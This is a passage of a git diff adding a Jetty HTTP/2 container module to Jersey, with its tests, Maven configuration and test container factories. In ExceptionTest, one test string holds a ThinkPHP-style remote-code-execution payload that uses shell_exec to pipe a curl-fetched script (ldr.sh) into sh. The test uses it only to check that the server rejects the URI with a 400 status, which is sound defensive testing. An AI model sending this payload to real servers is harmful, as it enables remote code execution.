+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Response;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Michal Gajdos
+ */
+public class AsyncTest extends AbstractJettyServerTester {
+
+    @Path("/async")
+    public static class AsyncResource {
+
+        public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
+
+        @GET
+        public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    final String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(5000);
+                    } catch (final InterruptedException e) {
+                        // ignore
+                    }
+                    return "DONE";
+                }
+            }).start();
+        }
+
+        @GET
+        @Path("timeout")
+        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+                @Override
+                public void handleTimeout(final AsyncResponse asyncResponse) {
+                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
+                            .build());
+                }
+            });
+            asyncResponse.setTimeout(3, TimeUnit.SECONDS);
+
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    final String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(7000);
+                    } catch (final InterruptedException e) {
+                        // ignore
+                    }
+                    return "DONE";
+                }
+            }).start();
+        }
+
+        @GET
+        @Path("multiple-invocations")
+        public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
+            INVOCATION_COUNT.incrementAndGet();
+
+            new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    asyncResponse.resume("OK");
+                }
+            }).start();
+        }
+    }
+
+    private Client client;
+
+    @BeforeEach
+    public void setUp() throws Exception {
+        startServer(AsyncResource.class);
+        client = ClientBuilder.newClient();
+    }
+
+    @Override
+    @AfterEach
+    public void tearDown() {
+        super.tearDown();
+        client = null;
+    }
+
+    @Test
+    public void testAsyncGet() throws ExecutionException, InterruptedException {
+        final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+        // get() waits for the response
+        assertEquals("DONE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
+        final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+
+        // get() waits for the response
+        assertEquals(503, response.getStatus());
+        assertEquals("Operation time out.", response.readEntity(String.class));
+    }
+
+    /**
+     * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
+     */
+    @Test
+    public void testAsyncMultipleInvocations() throws Exception {
+        final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
+
+        assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
+
+        assertThat(response.getStatus(), is(200));
+        assertThat(response.readEntity(String.class), is("OK"));
+    }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
new file mode 100644
index 0000000..60e086b
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import java.io.IOException;
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ */
+public class ExceptionTest extends AbstractJettyServerTester {
+    @Path("{status}")
+    public static class ExceptionResource {
+        @GET
+        public String get(@PathParam("status") int status) {
+            throw new WebApplicationException(status);
+        }
+
+    }
+
+    @Test
+    public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+        startServer(ExceptionResource.class);
+        URI testUri = getUri().build();
+        String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+                + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+                + ".0.1/ldr.sh|sh";
+        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+        CloseableHttpClient client = HttpClientBuilder.create().build();
+
+        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+        assertEquals(400, response.getStatusLine().getStatusCode());
+    }
+
+    @Test
+    public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+        startServer(ExceptionResource.class);
+        URI testUri = getUri().build();
+        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+        request.addHeader("X-Forwarded-Host", "_foo.com");
+        CloseableHttpClient client = HttpClientBuilder.create().build();
+
+        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+        assertEquals(400, response.getStatusLine().getStatusCode());
+    }
+
+    @Test
+    public void test400StatusCode() throws IOException {
+        startServer(ExceptionResource.class);
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("400").build());
+        assertEquals(400, r.request().get(Response.class).getStatus());
+    }
+
+    @Test
+    public void test500StatusCode() {
+        startServer(ExceptionResource.class);
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("500").build());
+
+        assertEquals(500, r.request().get(Response.class).getStatus());
+    }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java
new file mode 100644
index 0000000..93ae01f
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Reload and ContainerLifecycleListener support test.
+ *
+ * @author Paul Sandoz
+ * @author Marek Potociar
+ */
+public class LifecycleListenerTest extends AbstractJettyServerTester {
+
+    @Path("/one")
+    public static class One {
+        @GET
+        public String get() {
+            return "one";
+        }
+    }
+
+    @Path("/two")
+    public static class Two {
+        @GET
+        public String get() {
+            return "two";
+        }
+    }
+
+    public static class Reloader extends AbstractContainerLifecycleListener {
+        Container container;
+
+        public void reload(ResourceConfig newConfig) {
+            container.reload(newConfig);
+        }
+
+        public void reload() {
+            container.reload();
+        }
+
+        @Override
+        public void onStartup(Container container) {
+            this.container = container;
+        }
+
+    }
+
+    @Test
+    public void testReload() {
+        final ResourceConfig rc = new ResourceConfig(One.class);
+
+        Reloader reloader = new Reloader();
+        rc.registerInstances(reloader);
+
+        startServer(rc);
+
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("/").build());
+
+        assertEquals("one", r.path("one").request().get(String.class));
+        assertEquals(404, r.path("two").request().get(Response.class).getStatus());
+
+        // add Two resource
+        reloader.reload(new ResourceConfig(One.class, Two.class));
+
+        assertEquals("one", r.path("one").request().get(String.class));
+        assertEquals("two", r.path("two").request().get(String.class));
+    }
+
+    static class StartStopListener extends AbstractContainerLifecycleListener {
+        volatile boolean started;
+        volatile boolean stopped;
+
+        @Override
+        public void onStartup(Container container) {
+            started = true;
+        }
+
+        @Override
+        public void onShutdown(Container container) {
+            stopped = true;
+        }
+    }
+
+    @Test
+    public void testStartupShutdownHooks() {
+        final StartStopListener listener = new StartStopListener();
+
+        startServer(new ResourceConfig(One.class).register(listener));
+
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("/").build());
+
+        assertThat(r.path("one").request().get(String.class), equalTo("one"));
+        assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
+
+        stopServer();
+
+        assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
+        assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
+    }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java
new file mode 100644
index 0000000..3e7a8ac
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Response;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class OptionsTest extends AbstractJettyServerTester {
+
+    @Path("helloworld")
+    public static class HelloWorldResource {
+        public static final String CLICHED_MESSAGE = "Hello World!";
+
+        @GET
+        @Produces("text/plain")
+        public String getHello() {
+            return CLICHED_MESSAGE;
+        }
+    }
+
+    @Test
+    public void testFooBarOptions() {
+        startServer(HelloWorldResource.class);
+        Client client = ClientBuilder.newClient();
+        Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals(0, response.getLength());
+        assertEquals("foo/bar", response.getMediaType().toString());
+    }
+
+    private void _checkAllowContent(final String content) {
+        assertTrue(content.contains("GET"));
+        assertTrue(content.contains("HEAD"));
+        assertTrue(content.contains("OPTIONS"));
+    }
+
+}
diff --git a/containers/pom.xml b/containers/pom.xml
index 74b5bc1..bd311f9 100644
--- a/containers/pom.xml
+++ b/containers/pom.xml
@@ -42,7 +42,7 @@
         <module>jersey-servlet</module>
         <module>jetty11-http</module>
         <module>jetty-http</module>
-<!--        <module>jetty11-http2</module>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
+        <module>jetty-http2</module>
         <module>jetty-servlet</module>
         <module>netty-http</module>
         <module>simple-http</module>
diff --git a/pom.xml b/pom.xml
index 04970eb..ea1fd70 100644
--- a/pom.xml
+++ b/pom.xml
@@ -1748,12 +1748,12 @@
             </dependency>
             <dependency>
                 <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-client</artifactId>
+                <artifactId>jetty-http2-client</artifactId>
                 <version>${jetty.version}</version>
             </dependency>
             <dependency>
                 <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-http-client-transport</artifactId>
+                <artifactId>jetty-http2-client-transport</artifactId>
                 <version>${jetty.version}</version>
             </dependency>
             <dependency>
@@ -1768,7 +1768,7 @@
             </dependency>
             <dependency>
                 <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-server</artifactId>
+                <artifactId>jetty-http2-server</artifactId>
                 <version>${jetty.version}</version>
             </dependency>
             <dependency>
diff --git a/test-framework/providers/jetty-http2/pom.xml b/test-framework/providers/jetty-http2/pom.xml
new file mode 100644
index 0000000..2d19c0f
--- /dev/null
+++ b/test-framework/providers/jetty-http2/pom.xml
@@ -0,0 +1,194 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+
+    <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-test-framework-provider-jetty-http2</name>
+
+    <description>Jersey Test Framework - Jetty HTTP2 container</description>
+
+    <properties>
+        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+    </properties>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework</groupId>
+            <artifactId>jersey-test-framework-core</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty-http2</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+    </dependencies>
+
+    <profiles>
+        <profile>
+            <id>JettyExclude</id>
+            <activation>
+                <jdk>[11,17)</jdk>
+            </activation>
+            <properties>
+                <jetty.version>${jetty11.version}</jetty.version>
+            </properties>
+            <build>
+                <directory>${java11.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java11.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-compiler-plugin</artifactId>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/test/jetty/http2/*.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>Jetty17</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <build>
+                <directory>${java17.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java17.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK17FilesToMultiReleaseJar</id>
+            <activation>
+                <file>
+                    <!-- ${java11.build.outputDirectory} does not work here -->
+                    <exists>target17/classes/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.class</exists>
+                </file>
+                <jdk>[11,17)</jdk>
+            </activation>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.apache.felix</groupId>
+                        <artifactId>maven-bundle-plugin</artifactId>
+                        <inherited>true</inherited>
+                        <extensions>true</extensions>
+                        <configuration>
+                            <instructions>
+                                <Multi-Release>true</Multi-Release>
+                            </instructions>
+                        </configuration>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-resources-plugin</artifactId>
+                        <inherited>true</inherited>
+                        <executions>
+                            <execution>
+                                <id>copy-jdk17-classes</id>
+                                <phase>prepare-package</phase>
+                                <goals>
+                                    <goal>copy-resources</goal>
+                                </goals>
+                                <configuration>
+                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
+                                    <resources>
+                                        <resource>
+                                            <directory>${java17.build.outputDirectory}/classes</directory>
+                                        </resource>
+                                    </resources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-antrun-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <id>copy-jdk17-sources</id>
+                                <phase>package</phase>
+                                <configuration>
+                                    <target>
+                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <echo>sources-jar: ${sources-jar}</echo>
+                                        <zip destfile="${sources-jar}" update="true">
+                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
+                                        </zip>
+                                    </target>
+                                </configuration>
+                                <goals>
+                                    <goal>run</goal>
+                                </goals>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+    </profiles>
+
+</project>
\ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java
new file mode 100644
index 0000000..22e0a3c
--- /dev/null
+++ b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+/**
+ * Jersey test framework for Jetty 11 HTTP/2 Container.
+ */
+package org.glassfish.jersey.test.jetty.http2;
diff --git a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
new file mode 100644
index 0000000..44fa02a
--- /dev/null
+++ b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty.http2;
+
+import jakarta.ws.rs.ProcessingException;
+import org.glassfish.jersey.jetty.http2.LocalizationMessages;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+
+import java.net.URI;
+/**
+ * Factory for testing {@link JettyHttp2ContainerFactory}.
+ *
+ */
+public final class JettyHttp2TestContainerFactory implements TestContainerFactory {
+
+    @Override
+    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+    }
+}
diff --git a/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
new file mode 100644
index 0000000..e63f057
--- /dev/null
+++ b/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty.http2;
+
+import java.net.URI;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.http2.JettyHttp2ContainerFactory;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.glassfish.jersey.test.spi.TestHelper;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+
+/**
+ * Factory for testing {@link JettyHttp2ContainerFactory}.
+ *
+ */
+public final class JettyHttp2TestContainerFactory implements TestContainerFactory {
+
+    private static class JettyHttp2TestContainer implements TestContainer {
+
+        private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName());
+
+        private URI baseUri;
+        private final Server server;
+
+        private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) {
+            final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
+
+            if (!"/".equals(base.getRawPath())) {
+                throw new TestContainerException(String.format(
+                        "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.",
+                        base.getRawPath()));
+            }
+
+            this.baseUri = base;
+
+            if (LOGGER.isLoggable(Level.INFO)) {
+                LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI "
+                        + TestHelper.zeroPortToAvailablePort(baseUri));
+            }
+
+            this.server = JettyHttp2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false);
+        }
+
+        @Override
+        public ClientConfig getClientConfig() {
+            return null;
+        }
+
+        @Override
+        public URI getBaseUri() {
+            return baseUri;
+        }
+
+        @Override
+        public void start() {
+            if (server.isStarted()) {
+                LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started.");
+            } else {
+                LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer...");
+                try {
+                    server.start();
+
+                    if (baseUri.getPort() == 0) {
+                        int port = 0;
+                        for (final Connector connector : server.getConnectors()) {
+                            if (connector instanceof ServerConnector) {
+                                port = ((ServerConnector) connector).getLocalPort();
+                                break;
+                            }
+                        }
+
+                        baseUri = UriBuilder.fromUri(baseUri).port(port).build();
+
+                        LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri);
+                    }
+                } catch (Exception e) {
+                    throw new TestContainerException(e);
+                }
+            }
+        }
+
+        @Override
+        public void stop() {
+            if (server.isStarted()) {
+                LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer...");
+                try {
+                    this.server.stop();
+                } catch (Exception ex) {
+                    LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex);
+                }
+            } else {
+                LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped.");
+            }
+        }
+    }
+
+    @Override
+    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
+        return new JettyHttp2TestContainer(baseUri, context);
+    }
+}
diff --git a/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
new file mode 100644
index 0000000..63ba6bf
--- /dev/null
+++ b/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
@@ -0,0 +1 @@
+org.glassfish.jersey.test.jetty.http2.JettyHttp2TestContainerFactory
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
new file mode 100644
index 0000000..f10b03c
--- /dev/null
+++ b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
@@ -0,0 +1,18 @@
+#
+# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+# {0} - status code; {1} - status reason message
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java
new file mode 100644
index 0000000..541f193
--- /dev/null
+++ b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
